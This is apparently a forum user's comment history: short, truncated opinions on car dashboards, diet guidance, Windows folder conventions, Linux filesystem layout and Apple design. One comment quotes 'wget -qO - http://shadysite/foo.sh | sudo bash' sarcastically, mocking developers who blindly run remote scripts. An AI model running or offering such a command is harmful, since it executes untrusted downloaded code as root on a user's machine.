schmuckonwheels

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by schmuckonwheels 9mo ago
>the dashboard could be just a double DIN slot and a heavy-duty, universal tablet mount with a 100W USB-C PD port. The car provides the power and the speakers and my phone provides the maps and music. Legally mandated backup cameras make
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by schmuckonwheels 9mo ago
Screaming into the void about how your device is so great it could be used for attestation, combined with a small but vocal security industry full of grifting chicken littles, virtually guaranteed this would happen. The real irony here is t
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by schmuckonwheels 9mo ago
It did, and some of the things it was more effective at. I remember BlackBerry OS 4.x (?) had a built-in password manager app and this was in the mid-2000s. By comparison this was added to iOS 18 in 2024. What it wasn't good at was thi
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by schmuckonwheels 9mo ago
Do you guys wear cargo pants to carry all these extra devices or are belt clips coming back into style? If I could get away with carrying a tiny device again instead of lugging around a brick I would, but the world has made it as inconvenie
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by schmuckonwheels 9mo ago
I don't see the problem here. We have automated the task of developers blindly executing wget -qO - http://shadysite/foo.sh | sudo bash They would have happily pasted it into the terminal without the automation.
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by schmuckonwheels 9mo ago
There's a giant head of broccoli at the very top of the new pyramid? They emphasize protein AND fresh produce.
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by schmuckonwheels 9mo ago
> egregious scrolljacking Meta but my first reaction was they hired laid off Apple.com developers to build this. Maybe they're trying to channel the excitement people get from a new iPhone rollout toward healthy foods.
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by schmuckonwheels 9mo ago
> protein bars, drinks, prominently labeling the amount of grams of protein Most of which are loaded with crazy amounts of sugar to make them taste good. Have you ever looked at the label on a cup of non-plain "Greek" yogurt? (
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by schmuckonwheels 9mo ago
Taking away sugary slop is a tragedy?
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by schmuckonwheels 9mo ago
Speaking from personal experience, this is consistent with multiple doctors over the years recommending high-protein, low carb diets. (Clarification: low does not mean no carb.) I don't understand people freaking out over this - ou
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Larry Page officially moving out of California ahead of proposed billionaire tax(businessinsider.com)
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by schmuckonwheels 9mo ago
Hi, Jeff! Didn't realize the SSD was removable. Murphy's Law dictates the problem will always be in a soldered-down component whenever this happens.
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by schmuckonwheels 9mo ago
Yeah they (probably) did not. Almost certainly a soft hardware failure, likely the SSD. I've run into a similar situation - except the culprit was Linux not Windows. Tossed the machine in a closet for a few months, when it miraculously
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by schmuckonwheels 9mo ago
>This is a strategic play by Apple No, this is the fault of a company and industry with way too much money and not knowing what to do with it. So they hired a bunch of artists who would otherwise be carving wood in a decrepit loft somewh
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by schmuckonwheels 9mo ago
> Arguably the dock The Dock came from NeXtSTEP circa 1989. It had square edges and no Happy Mac. (So did Mail.app, TextEdit, some of the OS X Finder, and a whole bunch of other things.) To the untrained eye it looks like an Apple innova
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by schmuckonwheels 9mo ago
I would say, "Give me Mac OS 9, now" but smartphone-addicted brain-damaged zoomers don't understand what folders are or how file management works. I don't need or want art, eye candy, or animations. I need to get work do
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by schmuckonwheels 9mo ago
Who is the official judge and jury of the Internet?
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by schmuckonwheels 9mo ago
It's literally in the name: PROGRAM files. It was never meant to store variable data. It's also assumed that its contents can be safely restored from original sources, so Program Files is often not backed up - because it's wa
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by schmuckonwheels 9mo ago
> windows 2000 wasn't widely used as a consumer installed OS But Windows XP, which came out in 2001, inherited everything from Windows 2000 and more, and was used extensively for gaming.
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by schmuckonwheels 9mo ago
So you're saying they've had 18+ years to remove legacy cruft put in there to support a nearly 28 year old legacy OS that had no real multi-user support and basically zero security?
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by schmuckonwheels 9mo ago
More than once I've run into weird issues with missing filesystem drivers and other important things that caused me major grief during an emergency. Sure it could be blamed on shitty distro maintenance and development but a better arch
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by schmuckonwheels 9mo ago
CSIDL_COMMON_APPDATA is the API call to get this special folder which has been around since <checks notes> Windows 2000, 26 years ago. You should never hardcode the path since it can and has moved around, though MS has implemented har
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by schmuckonwheels 9mo ago
Oof. The correct location for this is C:\ProgramData Developers who knowingly reduce or disable default Windows security settings should be censured. Because in 99% of cases it is due to ignorance or plain laziness.
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by schmuckonwheels 9mo ago
If you can remove GNU coreutils and replace them with something else (like that Rust garbage) then you don't have a base system. You have a loose collection of packages around a kernel.
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by schmuckonwheels 9mo ago
> initramfs, that is a compressed image that includes everything the system needs to boot Not always (raise your hand if you've had an unbootable system due to a broken or insufficient initrd). In retrospect, the whole concept of th
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by schmuckonwheels 9mo ago
By default, Program Files is not writable by non-Administrators. This is likely done by some background service. Or they loosened the default file permissions (which would be dumb). No reason this can't be done on Linux but since NT&#x
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by schmuckonwheels 9mo ago
> anything not managed by your distribution That's a Linux-ism. Other *nix there is a lot more in /usr/local. In reality /usr is similar to Windows' System32 directory on most Unicies. /opt is really the onl
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by schmuckonwheels 9mo ago
> The Linux base system There is no such thing as a Linux base system. Separate components, separate people. Hence the term Ganoo plus Leenox...
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by schmuckonwheels 9mo ago
This post gets some of the details wrong. /usr/local is for site-local software - e.g. things you compile yourself, i.e in the case of the BSDs the ports collection - things outside the base system. (They may be compiled for you
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by schmuckonwheels 9mo ago
Well they just captured Maduro and flew him out of the country, so yes the regime quite literally did just fall minutes after you created your throwaway account to post this.

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